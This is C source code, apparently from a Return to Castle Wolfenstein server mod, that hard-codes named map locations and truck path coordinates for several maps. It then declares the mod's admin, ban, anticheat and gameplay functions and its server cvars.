}else if(SpawnsMade == 26){
ent->message= "Southeast Mountain";
ent->r.currentOrigin[0]= 3946;
ent->r.currentOrigin[1]= 545;
ent->r.currentOrigin[2]= 965;
}else if(SpawnsMade == 27){
ent->message= "Southeast Mountain";
ent->r.currentOrigin[0]= 4968;
ent->r.currentOrigin[1]= 240;
ent->r.currentOrigin[2]= 590;
}else if(SpawnsMade == 28){
ent->message= "Axis Tunnel Entrance";
ent->r.currentOrigin[0]= -1408;
ent->r.currentOrigin[1]= 3564;
ent->r.currentOrigin[2]= 275;
}else if(SpawnsMade == 29){
ent->message= "Barn";
ent->r.currentOrigin[0]= 1729;
ent->r.currentOrigin[1]= -5059;
ent->r.currentOrigin[2]= 504;
}else if(SpawnsMade == 30){
ent->message= "Lake";
ent->r.currentOrigin[0]= 3400;
ent->r.currentOrigin[1]= -5207;
ent->r.currentOrigin[2]= 823;
}else if(SpawnsMade == 31){
ent->message= "Southwest Forest";
ent->r.currentOrigin[0]= -411;
ent->r.currentOrigin[1]= -5927;
ent->r.currentOrigin[2]= 495;
}else if(SpawnsMade == 32){
ent->message= "Barn";
ent->r.currentOrigin[0]= 649;
ent->r.currentOrigin[1]= -5586;
ent->r.currentOrigin[2]= 685;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
if(!Q_stricmp(mapName, "norway")){
for(SpawnsMade=0;SpawnsMade < 33; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "Southeast Watchtower";
ent->r.currentOrigin[0]= 3204;
ent->r.currentOrigin[1]= -3516;
ent->r.currentOrigin[2]= 1110;
}else if(SpawnsMade == 1){
ent->message= "South Garage Entrance";
ent->r.currentOrigin[0]= 2708;
ent->r.currentOrigin[1]= -2298;
ent->r.currentOrigin[2]= 735;
}else if(SpawnsMade == 2){
ent->message= "North Garage Entrance";
ent->r.currentOrigin[0]= 2724;
ent->r.currentOrigin[1]= -655;
ent->r.currentOrigin[2]= 722;
}else if(SpawnsMade == 3){
ent->message= "Garage";
ent->r.currentOrigin[0]= 2653;
ent->r.currentOrigin[1]= -1181;
ent->r.currentOrigin[2]= 700;
}else if(SpawnsMade == 4){
ent->message= "Garage";
ent->r.currentOrigin[0]= 2661;
ent->r.currentOrigin[1]= -1754;
ent->r.currentOrigin[2]= 700;
}else if(SpawnsMade == 5){
ent->message= "Gate Hut";
ent->r.currentOrigin[0]= 2139;
ent->r.currentOrigin[1]= 1028;
ent->r.currentOrigin[2]= 540;
}else if(SpawnsMade == 6){
ent->message= "Docks";
ent->r.currentOrigin[0]= 936;
ent->r.currentOrigin[1]= 1555;
ent->r.currentOrigin[2]= 574;
}else if(SpawnsMade == 7){
ent->message= "Frozen Lake";
ent->r.currentOrigin[0]= -339;
ent->r.currentOrigin[1]= 1283;
ent->r.currentOrigin[2]= 606;
}else if(SpawnsMade == 8){
ent->message= "Frozen Lake";
ent->r.currentOrigin[0]= 650;
ent->r.currentOrigin[1]= 2594;
ent->r.currentOrigin[2]= 562;
}else if(SpawnsMade == 9){
ent->message= "Submarine";
ent->r.currentOrigin[0]= -2198;
ent->r.currentOrigin[1]= 4024;
ent->r.currentOrigin[2]= 717;
}else if(SpawnsMade == 10){
ent->message= "Submarine";
ent->r.currentOrigin[0]= -1444;
ent->r.currentOrigin[1]= 3235;
ent->r.currentOrigin[2]= 686;
}else if(SpawnsMade == 11){
ent->message= "Submarine Loading Area";
ent->r.currentOrigin[0]= -1196;
ent->r.currentOrigin[1]= 4156;
ent->r.currentOrigin[2]= 644;
}else if(SpawnsMade == 12){
ent->message= "Frozen Lake";
ent->r.currentOrigin[0]= -2179;
ent->r.currentOrigin[1]= 2476;
ent->r.currentOrigin[2]= 544;
}else if(SpawnsMade == 13){
ent->message= "Frozen Lake";
ent->r.currentOrigin[0]= -1317;
ent->r.currentOrigin[1]= 2038;
ent->r.currentOrigin[2]= 519;
}else if(SpawnsMade == 14){
ent->message= "Frozen Lake";
ent->r.currentOrigin[0]= -306;
ent->r.currentOrigin[1]= 3533;
ent->r.currentOrigin[2]= 524;
}else if(SpawnsMade == 15){
ent->message= "Frozen Lake";
ent->r.currentOrigin[0]= -3398;
ent->r.currentOrigin[1]= 3859;
ent->r.currentOrigin[2]= 547;
}else if(SpawnsMade == 16){
ent->message= "Radio Hut";
ent->r.currentOrigin[0]= 1376;
ent->r.currentOrigin[1]= -376;
ent->r.currentOrigin[2]= 964;
}else if(SpawnsMade == 17){
ent->message= "Radio Hut";
ent->r.currentOrigin[0]= 835;
ent->r.currentOrigin[1]= -363;
ent->r.currentOrigin[2]= 942;
}else if(SpawnsMade == 18){
ent->message= "Radio Hut";
ent->r.currentOrigin[0]= 1115;
ent->r.currentOrigin[1]= -366;
ent->r.currentOrigin[2]= 545;
}else if(SpawnsMade == 19){
ent->message= "Gate Bunker";
ent->r.currentOrigin[0]= -605;
ent->r.currentOrigin[1]= -3341;
ent->r.currentOrigin[2]= 952;
}else if(SpawnsMade == 20){
ent->message= "Southern Road";
ent->r.currentOrigin[0]= 244;
ent->r.currentOrigin[1]= -3245;
ent->r.currentOrigin[2]= 647;
}else if(SpawnsMade == 21){
ent->message= "Southern Road";
ent->r.currentOrigin[0]= 2079;
ent->r.currentOrigin[1]= -3520;
ent->r.currentOrigin[2]= 561;
}else if(SpawnsMade == 22){
ent->message= "Gate Bunker";
ent->r.currentOrigin[0]= -1031;
ent->r.currentOrigin[1]= -2760;
ent->r.currentOrigin[2]= 971;
}else if(SpawnsMade == 23){
ent->message= "South Axis Hut";
ent->r.currentOrigin[0]= -3458;
ent->r.currentOrigin[1]= -3093;
ent->r.currentOrigin[2]= 567;
}else if(SpawnsMade == 24){
ent->message= "South Axis Hut";
ent->r.currentOrigin[0]= -3424;
ent->r.currentOrigin[1]= -3079;
ent->r.currentOrigin[2]= 926;
}else if(SpawnsMade == 25){
ent->message= "North Axis Hut";
ent->r.currentOrigin[0]= -3467;
ent->r.currentOrigin[1]= -1365;
ent->r.currentOrigin[2]= 904;
}else if(SpawnsMade == 26){
ent->message= "North Axis Hut";
ent->r.currentOrigin[0]= -3467;
ent->r.currentOrigin[1]= -1365;
ent->r.currentOrigin[2]= 637;
}else if(SpawnsMade == 27){
ent->message= "West Gate";
ent->r.currentOrigin[0]= -4366;
ent->r.currentOrigin[1]= -2266;
ent->r.currentOrigin[2]= 771;
}else if(SpawnsMade == 28){
ent->message= "West Bunker Entrance";
ent->r.currentOrigin[0]= -6254;
ent->r.currentOrigin[1]= -2217;
ent->r.currentOrigin[2]= 528;
}else if(SpawnsMade == 29){
ent->message= "West Bunker";
ent->r.currentOrigin[0]= -7055;
ent->r.currentOrigin[1]= -2054;
ent->r.currentOrigin[2]= 578;
}else if(SpawnsMade == 30){
ent->message= "Western Clearing";
ent->r.currentOrigin[0]= -3325;
ent->r.currentOrigin[1]= -2276;
ent->r.currentOrigin[2]= 568;
}else if(SpawnsMade == 31){
ent->message= "SouthWest Passage";
ent->r.currentOrigin[0]= -1750;
ent->r.currentOrigin[1]= -4322;
ent->r.currentOrigin[2]= 1017;
}else if(SpawnsMade == 32){
ent->message= "NorthEast Clearing";
ent->r.currentOrigin[0]= 2113;
ent->r.currentOrigin[1]= 338;
ent->r.currentOrigin[2]= 646;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
if(!Q_stricmp(mapName, "sfm")){
for(SpawnsMade=0;SpawnsMade < 19; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "Central Street";
ent->r.currentOrigin[0]= 1302;
ent->r.currentOrigin[1]= -1072;
ent->r.currentOrigin[2]= -46;
}else if(SpawnsMade == 1){
ent->message= "Central Street";
ent->r.currentOrigin[0]= -234;
ent->r.currentOrigin[1]= -1060;
ent->r.currentOrigin[2]= -109;
}else if(SpawnsMade == 2){
ent->message= "Western Street";
ent->r.currentOrigin[0]= -536;
ent->r.currentOrigin[1]= -394;
ent->r.currentOrigin[2]= -80;
}else if(SpawnsMade == 3){
ent->message= "Anti-Tank Gun";
ent->r.currentOrigin[0]= -370;
ent->r.currentOrigin[1]= 1131;
ent->r.currentOrigin[2]= -103;
}else if(SpawnsMade == 4){
ent->message= "Western Street";
ent->r.currentOrigin[0]= -549;
ent->r.currentOrigin[1]= 728;
ent->r.currentOrigin[2]= -65;
}else if(SpawnsMade == 5){
ent->message= "Bombed Factory";
ent->r.currentOrigin[0]= -554;
ent->r.currentOrigin[1]= 1462;
ent->r.currentOrigin[2]= -91;
}else if(SpawnsMade == 6){
ent->message= "Western Passage";
ent->r.currentOrigin[0]= -1222;
ent->r.currentOrigin[1]= 143;
ent->r.currentOrigin[2]= -76;
}else if(SpawnsMade == 7){
ent->message= "Eastern Street";
ent->r.currentOrigin[0]= 1626;
ent->r.currentOrigin[1]= -1254;
ent->r.currentOrigin[2]= -10;
}else if(SpawnsMade == 8){
ent->message= "Eastern Street";
ent->r.currentOrigin[0]= 1677;
ent->r.currentOrigin[1]= -1992;
ent->r.currentOrigin[2]= -66;
}else if(SpawnsMade == 9){
ent->message= "Eastern Passage";
ent->r.currentOrigin[0]= 2978;
ent->r.currentOrigin[1]= -1480;
ent->r.currentOrigin[2]= -76;
}else if(SpawnsMade == 10){
ent->message= "Southeast Alley";
ent->r.currentOrigin[0]= 2416;
ent->r.currentOrigin[1]= -2007;
ent->r.currentOrigin[2]= -53;
}else if(SpawnsMade == 11){
ent->message= "Northeast Alley";
ent->r.currentOrigin[0]= 2460;
ent->r.currentOrigin[1]= -930;
ent->r.currentOrigin[2]= -62;
}else if(SpawnsMade == 12){
ent->message= "Central Street";
ent->r.currentOrigin[0]= 434;
ent->r.currentOrigin[1]= -1071;
ent->r.currentOrigin[2]= -132;
}else if(SpawnsMade == 13){
ent->message= "Bombed Factory";
ent->r.currentOrigin[0]= -532;
ent->r.currentOrigin[1]= 2037;
ent->r.currentOrigin[2]= -77;
}else if(SpawnsMade == 14){
ent->message= "Southern Street";
ent->r.currentOrigin[0]= 1549;
ent->r.currentOrigin[1]= -2728;
ent->r.currentOrigin[2]= -61;
}else if(SpawnsMade == 15){
ent->message= "Southern Street";
ent->r.currentOrigin[0]= 751;
ent->r.currentOrigin[1]= -2726;
ent->r.currentOrigin[2]= -45;
}else if(SpawnsMade == 16){
ent->message= "Sewer";
ent->r.currentOrigin[0]= -907;
ent->r.currentOrigin[1]= 2167;
ent->r.currentOrigin[2]= -423;
}else if(SpawnsMade == 17){
ent->message= "Bombed Factory";
ent->r.currentOrigin[0]= -152;
ent->r.currentOrigin[1]= 1561;
}else if(SpawnsMade == 18){
ent->message= "Western Street";
ent->r.currentOrigin[0]= -516;
ent->r.currentOrigin[1]= -880;
ent->r.currentOrigin[2]= -133;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
if(!Q_stricmp(mapName, "trainyard")){
for(SpawnsMade=0;SpawnsMade < 21; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "Garage";
ent->r.currentOrigin[0]= -1090;
ent->r.currentOrigin[1]= 858;
ent->r.currentOrigin[2]= -177;
}else if(SpawnsMade == 1){
ent->message= "Anti-Tank Guns";
ent->r.currentOrigin[0]= -1061;
ent->r.currentOrigin[1]= -188;
ent->r.currentOrigin[2]= -121;
}else if(SpawnsMade == 2){
ent->message= "Smokestacks";
ent->r.currentOrigin[0]= -969;
ent->r.currentOrigin[1]= -627;
ent->r.currentOrigin[2]= 166;
}else if(SpawnsMade == 3){
ent->message= "Warehouse";
ent->r.currentOrigin[0]= -423;
ent->r.currentOrigin[1]= -1182;
ent->r.currentOrigin[2]= -165;
}else if(SpawnsMade == 4){
ent->message= "Security Room";
ent->r.currentOrigin[0]= 2023;
ent->r.currentOrigin[1]= 323;
ent->r.currentOrigin[2]= -126;
}else if(SpawnsMade == 5){
ent->message= "Stairwell";
ent->r.currentOrigin[0]= 1473;
ent->r.currentOrigin[1]= 1008;
ent->r.currentOrigin[2]= -25;
}else if(SpawnsMade == 6){
ent->message= "Laboratory";
ent->r.currentOrigin[0]= 1278;
ent->r.currentOrigin[1]= 261;
ent->r.currentOrigin[2]= 147;
}else if(SpawnsMade == 7){
ent->message= "Cargo Bay";
ent->r.currentOrigin[0]= 1432;
ent->r.currentOrigin[1]= -1354;
ent->r.currentOrigin[2]= -146;
}else if(SpawnsMade == 8){
ent->message= "Cargo Bay";
ent->r.currentOrigin[0]= 1845;
ent->r.currentOrigin[1]= -714;
ent->r.currentOrigin[2]= 58;
}else if(SpawnsMade == 9){
ent->message= "Trainyard";
ent->r.currentOrigin[0]= 1170;
ent->r.currentOrigin[1]= -1329;
ent->r.currentOrigin[2]= -67;
}else if(SpawnsMade == 10){
ent->message= "Trainyard";
ent->r.currentOrigin[0]= -555;
ent->r.currentOrigin[1]= -32;
ent->r.currentOrigin[2]= -176;
}else if(SpawnsMade == 11){
ent->message= "Trainyard";
ent->r.currentOrigin[0]= 419;
ent->r.currentOrigin[1]= 673;
ent->r.currentOrigin[2]= 10;
}else if(SpawnsMade == 12){
ent->message= "Trainyard";
ent->r.currentOrigin[0]= 473;
ent->r.currentOrigin[1]= -576;
ent->r.currentOrigin[2]= 80;
}else if(SpawnsMade == 13){
ent->message= "Main Hallway";
ent->r.currentOrigin[0]= 1844;
ent->r.currentOrigin[1]= -74;
ent->r.currentOrigin[2]= -156;
}else if(SpawnsMade == 14){
ent->message= "Office";
ent->r.currentOrigin[0]= 1249;
ent->r.currentOrigin[1]= 262;
ent->r.currentOrigin[2]= -128;
}else if(SpawnsMade == 15){
ent->message= "Experiment Room";
ent->r.currentOrigin[0]= 1394;
ent->r.currentOrigin[1]= -360;
ent->r.currentOrigin[2]= -172;
}else if(SpawnsMade == 16){
ent->message= "Upper Ruins";
ent->r.currentOrigin[0]= -1578;
ent->r.currentOrigin[1]= 576;
ent->r.currentOrigin[2]= 144;
}else if(SpawnsMade == 17){
ent->message= "Upper Ruins";
ent->r.currentOrigin[0]= -935;
ent->r.currentOrigin[1]= 568;
ent->r.currentOrigin[2]= 128;
}else if(SpawnsMade == 18){
ent->message= "Upper Ruins";
ent->r.currentOrigin[0]= -1568;
ent->r.currentOrigin[1]= -279;
ent->r.currentOrigin[2]= 126;
}else if(SpawnsMade == 19){
ent->message= "Central Ruins";
ent->r.currentOrigin[0]= -123;
ent->r.currentOrigin[1]= 745;
ent->r.currentOrigin[2]= 128;
}else if(SpawnsMade == 20){
ent->message= "Bombed Office";
ent->r.currentOrigin[0]= 832;
ent->r.currentOrigin[1]= 591;
ent->r.currentOrigin[2]= 116;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
}
void spawnCustomPathCorners(){
char mapName[MAX_QPATH];
gentity_t *ent;
int SpawnsMade;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if(!Q_stricmp(mapName, "forest")){
for(SpawnsMade=0;SpawnsMade < 16; SpawnsMade++){
ent = G_Spawn();
ent->classname = "path_corner";
if(SpawnsMade == 0){
ent->targetname = "truck1";
ent->r.currentOrigin[0]= -5104;
ent->r.currentOrigin[1]= -544;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 1){
ent->targetname = "truck2";
ent->r.currentOrigin[0]= -5078;
ent->r.currentOrigin[1]= -753;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 2){
ent->targetname = "truck3";
ent->r.currentOrigin[0]= -4990;
ent->r.currentOrigin[1]= -921;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 3){
ent->targetname = "truck4";
ent->r.currentOrigin[0]= -4832;
ent->r.currentOrigin[1]= -1051;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 4){
ent->targetname = "truck5";
ent->r.currentOrigin[0]= -4639;
ent->r.currentOrigin[1]= -1110;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 5){
ent->targetname = "truck6";
ent->r.currentOrigin[0]= -4625;
ent->r.currentOrigin[1]= -1114;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 6){
ent->targetname = "truck7";
ent->r.currentOrigin[0]= -4709;
ent->r.currentOrigin[1]= -1108;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 7){
ent->targetname = "truck8";
ent->r.currentOrigin[0]= -4824;
ent->r.currentOrigin[1]= -1104;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 8){
ent->targetname = "truck9";
ent->r.currentOrigin[0]= -4961;
ent->r.currentOrigin[1]= -1099;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 9){
ent->targetname = "truck10";
ent->r.currentOrigin[0]= -5091;
ent->r.currentOrigin[1]= -1094;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 10){
ent->targetname = "truck11";
ent->r.currentOrigin[0]= -5268;
ent->r.currentOrigin[1]= -1087;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 11){
ent->targetname = "truck12";
ent->r.currentOrigin[0]= -5454;
ent->r.currentOrigin[1]= -1080;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 12){
ent->targetname = "truck13";
ent->r.currentOrigin[0]= -5337;
ent->r.currentOrigin[1]= -1027;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 13){
ent->targetname = "truck14";
ent->r.currentOrigin[0]= -5165;
ent->r.currentOrigin[1]= -934;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 14){
ent->targetname = "truck15";
ent->r.currentOrigin[0]= -5007;
ent->r.currentOrigin[1]= -798;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 15){
ent->targetname = "truck16";
ent->r.currentOrigin[0]= -4855;
ent->r.currentOrigin[1]= -610;
ent->r.currentOrigin[2]= 176;
}
G_CallSpawn(ent);
}
for(SpawnsMade=0;SpawnsMade < 15; SpawnsMade++){
ent = G_Spawn();
ent->classname = "path_corner";
if(SpawnsMade == 0){
ent->targetname = "truck17";
ent->r.currentOrigin[0]= -4765;
ent->r.currentOrigin[1]= -357;
ent->r.currentOrigin[2]= 176;
}else if(SpawnsMade == 1){
ent->targetname = "truck18";
ent->r.currentOrigin[0]= 4382;
ent->r.currentOrigin[1]= -1182;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 2){
ent->targetname = "truck19";
ent->r.currentOrigin[0]= 4696;
ent->r.currentOrigin[1]= -1167;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 3){
ent->targetname = "truck20";
ent->r.currentOrigin[0]= 4979;
ent->r.currentOrigin[1]= -1086;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 4){
ent->targetname = "truck21";
ent->r.currentOrigin[0]= 5154;
ent->r.currentOrigin[1]= -946;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 5){
ent->targetname = "truck22";
ent->r.currentOrigin[0]= 5247;
ent->r.currentOrigin[1]= -721;
ent->r.currentOrigin[2]= 224;
}else if(SpawnsMade == 6){
ent->targetname = "truck23";
ent->r.currentOrigin[0]= 5247;
ent->r.currentOrigin[1]= -515;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 7){
ent->targetname = "truck24";
ent->r.currentOrigin[0]= 5243;
ent->r.currentOrigin[1]= -665;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 8){
ent->targetname = "truck25";
ent->r.currentOrigin[0]= 5248;
ent->r.currentOrigin[1]= -897;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 9){
ent->targetname = "truck26";
ent->r.currentOrigin[0]= 5251;
ent->r.currentOrigin[1]= -1081;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 10){
ent->targetname = "truck27";
ent->r.currentOrigin[0]= 5254;
ent->r.currentOrigin[1]= -1210;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 11){
ent->targetname = "truck28";
ent->r.currentOrigin[0]= 5143;
ent->r.currentOrigin[1]= -1067;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 12){
ent->targetname = "truck29";
ent->r.currentOrigin[0]= 5020;
ent->r.currentOrigin[1]= -926;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 13){
ent->targetname = "truck30";
ent->r.currentOrigin[0]= 4803;
ent->r.currentOrigin[1]= -828;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 14){
ent->targetname = "truck31";
ent->r.currentOrigin[0]= 4579;
ent->r.currentOrigin[1]= -868;
ent->r.currentOrigin[2]= 208;
}
G_CallSpawn(ent);
}
for(SpawnsMade=0;SpawnsMade < 5; SpawnsMade++){
ent = G_Spawn();
ent->classname = "path_corner";
if(SpawnsMade == 0){
ent->targetname = "truck32";
ent->r.currentOrigin[0]= 4357;
ent->r.currentOrigin[1]= -978;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 1){
ent->targetname = "truck33";
ent->r.currentOrigin[0]= 4175;
ent->r.currentOrigin[1]= -1085;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 2){
ent->targetname = "truck34";
ent->r.currentOrigin[0]= 4051;
ent->r.currentOrigin[1]= -1149;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 3){
ent->targetname = "truck35";
ent->r.currentOrigin[0]= 3864;
ent->r.currentOrigin[1]= -1167;
ent->r.currentOrigin[2]= 208;
}else if(SpawnsMade == 4){
ent->targetname = "truck36";
ent->r.currentOrigin[0]= 3703;
ent->r.currentOrigin[1]= -1109;
ent->r.currentOrigin[2]= 208;
}
G_CallSpawn(ent);
}
}
}
<file_sep>
//char S4ND_VERSION[];
//char S4ND_URL[];
static qboolean firstblood;
// L0
static qboolean firstheadshot;
// L0 - end
/*
===============
RTCW functions
===============
*/
//functions s4ndmod used but did not make themselves :)
void G_Say(gentity_t * ent, gentity_t * target, int mode, const char * chatText);
void MagicSink(gentity_t *self);
void SP_dlight(gentity_t * ent);
void limbo(gentity_t *ent, qboolean makeCorpse);
int G_GetWeaponDamage(int weapon);
/*
=================
S4NDMoD Functions
=================
*/
void CheckMapRotation();
void AutoWeaponsConfig(gentity_t* ent);
void SpawnTimer(gentity_t* ent);
void startSpawnTimer(gentity_t* ent);
void stopSpawnTimer(gentity_t* ent);
void AutoSpawnTimes(gentity_t* ent);
void CheckServer();
void demoHeartbeat();
void CheckFraglimitScores();
void CheckRoundStart(gentity_t* ent);
void DoAutoAim(gentity_t *ent);
void SP_CTF_flag(gentity_t* ent);
void CTF_touch(gentity_t *self, gentity_t *other, trace_t *trace);
void Cmd_MakeCustomLocation_f(gentity_t *ent);
void spawnCustomPathCorners();
void spawnCustomLocations();
void spawnCustomFlags();//respawn flag
void SP_cust_spawnflag(gentity_t* ent);
void cust_spawnflag(gentity_t *self, gentity_t *other, trace_t *trace);//end respawn
void HitSounds(gentity_t *ent,gentity_t *targ,qboolean isHeadshot);
void FindPlaneDir( gentity_t *ent, vec3_t dir);
void SpawnPlaneBombs(gentity_t *ent);
gentity_t *findradius (gentity_t *ent, vec3_t org, float rad);
int countmines(int team);
void Cmd_Spy_f( gentity_t *ent);
void easy_admin(gentity_t *ent );
void ParseStr(const char *strInput, char *strCmd, char *strArgs);
void GetIP(const char *strIP1, char *strIP2, char *strPort);
void Parseip ( const char * InputIP , char * ip1 , char * ip2 , char * ip3 , char * ip4 ) ;
int CheckBANS ( char * ip ) ;
char * TempBannedMessage;
char * bannedpasswords;
qboolean TempBanned(char * Clientip);
char banline[32];
int ClientNumberFromNameMatch(char *name, int *matches);
void TEMPBAN_CLIENT(gentity_t *ent, const int minsbanned);
void BreakRange(const char *range, char *from, char *to); //Nobo - unban
void checkSpeclock(gentity_t *ent);
void DeathmatchCheckLocation(gentity_t *ent);
void SniperCheckLocation(gentity_t *ent); //Agent
void StatsCheck(gentity_t *attacker); //Agent -THIS IS THE NEW LINE
void Cmd_dropObj_f(gentity_t *ent);
void Cmd_ThrowKnife_f(gentity_t *ent);
void Cmd_Push_f(gentity_t *ent);
void Cmd_Drag_f(gentity_t *ent);
void Cmd_KickAS_f(gentity_t *ent);
void Cmd_KickGrenade_f(gentity_t *ent);
void FreeForAllSpawnpt(gentity_t *ent, vec3_t spawn_origin, vec3_t spawn_angles);
void SniperModeCustomSpawns(gentity_t *ent, vec3_t spawn_origin, vec3_t spawn_angles);
void clearCleanIp(gentity_t *ent);
void print_mod(gentity_t *attacker, gentity_t *self, int meansOfDeath );
void check_adminbot ( gentity_t * attacker , gentity_t * self , int meansOfDeath ) ;
void CheckDeathmatch(gentity_t *attacker, gentity_t *self);
qboolean CheckAmmo(gentity_t *ent);
void clean_tempbans(void);
void GetLTinfo(gentity_t *ent);
void checkSpys(gentity_t *ent);
char *GetLevelTime();
void ForestPlanesThink(gentity_t *ent);
void spec_lock(gentity_t *ent);
void spec_unlock(gentity_t *ent);
void Kick_Cheats(gentity_t * ent);
void S4ND_nuke(gentity_t * ent);
void S4ND_spam(gentity_t * ent);
qboolean isMvsay(gentity_t * ent , char * arg1);
qboolean S4ND_Spawn( gentity_t *ent ); //Agent's first file :D
void getnewbanlist();
void BuildStats();
char * parseStats ( char * stats ) ;
void CheckAutoTap(gentity_t *ent);
qboolean isAirstrikeAvailable( gentity_t* ent );
qboolean canRetake();
int calculateStartLives( gentity_t* ent );
void showHitBoxes(gentity_t *ent);
qboolean isNameShort(gentity_t *ent);
void checkEvenTeams();
void countPlayers();
void balanceTeams();
void forceDLinit();
char *G_Shortcuts(gentity_t *ent, char *text);
void checkHexedDLL();
void G_BinocMasters();
int QDECL G_SortPlayersByBinocs(const void* a, const void* b);
void updateUptime();
void setupCvars();
qboolean zbc_ZbotCheck(gentity_t *ent, usercmd_t *ucmd); // anticheat
qboolean badUserinfo( int clientNum ); // Etpub RIP
void setSeedPings(gentity_t* ent);
void modifyName(gentity_t *ent);
//void showHitBoxes();
//Commands
void Cmd_automg42_f ( gentity_t * ent );
void Cmd_checkcvar_f( gentity_t *ent );
void Cmd_checkpure_f( gentity_t *ent );
void Cmd_Pmsg_f(gentity_t * ent);
void Cmd_Mvsay_f(gentity_t *ent);
void Cmd_MakeDmWeap_f(gentity_t *ent);
void Cmd_MakeDmPoint_f(gentity_t *ent);
void Cmd_Makepathcorner_f(gentity_t *ent);
void Cmd_Gib_f (gentity_t *ent);
void Cmd_Clientnum_f (gentity_t *ent);
void Cmd_NadePack_f (gentity_t *ent);
void Cmd_FindDMpoints_f (gentity_t *ent);
void Cmd_Playdead_f (gentity_t *ent);
void Cmd_Login_f (gentity_t *ent);
void Cmd_Logout_f (gentity_t *ent);
void Cmd_Thompson_f (gentity_t *ent);
void Cmd_MP40_f (gentity_t *ent);
void Cmd_Sten_f (gentity_t *ent);
void Cmd_Ready_f (gentity_t *ent);
void Cmd_NotReady_f (gentity_t *ent);
void Cmd_Smoke_f (gentity_t *ent);
void Cmd_mine_f (gentity_t *ent);
void Cmd_test_f (gentity_t *ent);
void Cmd_HighAcheivers_f (gentity_t *ent);
void Cmd_status_f (gentity_t *ent);
void Cmd_Accuracy_f (gentity_t *ent);
void Cmd_speclock_f (gentity_t *ent);
void Cmd_specunlock_f (gentity_t *ent);
void Cmd_allowspec_f (gentity_t *ent);
void Cmd_unallowspec_f (gentity_t *ent);
void Cmd_checkSpecs_f (gentity_t *ent);
void Cmd_RollTheDice_f (gentity_t *ent);
void Cmd_Time_f (gentity_t *ent);
void Cmd_ABHelp_f (gentity_t *ent);
void Cmd_Stats_f(gentity_t *ent);
void Cmd_Rules_f(gentity_t *ent);
void Cmd_Classes_f(gentity_t *ent);
void Cmd_Agent_Camera_f(gentity_t *ent);
void Cmd_OMW_f(gentity_t *ent);
qboolean G_PushPlayer(gentity_t *ent, gentity_t *victim);
void Cmd_Activate2_f (gentity_t *ent);
qboolean isRevivingMedic(gentity_t *self);
// AntiCheat
void Cmd_hackconfig_f(gentity_t *ent);
void Cmd_hack_cvar_f(gentity_t *ent, char *hack);
// End
void Cmd_special1_f(gentity_t *ent);
void Cmd_special2_f(gentity_t *ent);
void QDECL S4ND_Log( const char *fmt, ... );
//Server Commands
void Checkcvars(gentity_t *ent,char *cvar, int cvaris);
void Svcmd_Ignore_f();
void Svcmd_Test_f();
void Svcmd_Headshots_f();
void Svcmd_Unignore_f();
void Cmd_Lock_f();
void Cmd_Unlock_f();
void Svcmd_Kill_f();
void Svcmd_Slap_f();
void Svcmd_Shuffle_f();
void Svcmd_SortClan_f();
void Svcmd_ForceClan_f();
void Svcmd_banip_f();
void Svcmd_Unbanip_f();
void Svcmd_tempban_f();
void Svcmd_CheckPure_f();
qboolean IPFound(const char *IP, const char *fileName);
/*
==============
S4NDMoD Cvars
==============
*/
extern vmCvar_t g_speclock;
extern vmCvar_t g_checkguid;
extern vmCvar_t g_medPacks;
extern vmCvar_t g_ammoPacks;
extern vmCvar_t g_nadePacks;
extern vmCvar_t g_allowBlackNames;
extern vmCvar_t g_banGuids;
extern vmCvar_t g_goomba;
extern vmCvar_t g_poison;
extern vmCvar_t g_dropReload;
extern vmCvar_t g_reviveReports;
extern vmCvar_t g_tapReports;
extern vmCvar_t g_nameChangeReports;
extern vmCvar_t g_ltNades;
extern vmCvar_t g_medNades;
extern vmCvar_t g_engNades;
extern vmCvar_t g_soldNades;
extern vmCvar_t g_privateMsgs;
extern vmCvar_t g_minMsgChars;
extern vmCvar_t g_allowKill;
extern vmCvar_t g_allowGib;
extern vmCvar_t g_shove;
extern vmCvar_t g_shoveAmount;
extern vmCvar_t g_shoveNoZ;
extern vmCvar_t g_kickableNades;
extern vmCvar_t g_kickableAS;
extern vmCvar_t g_gibReports;
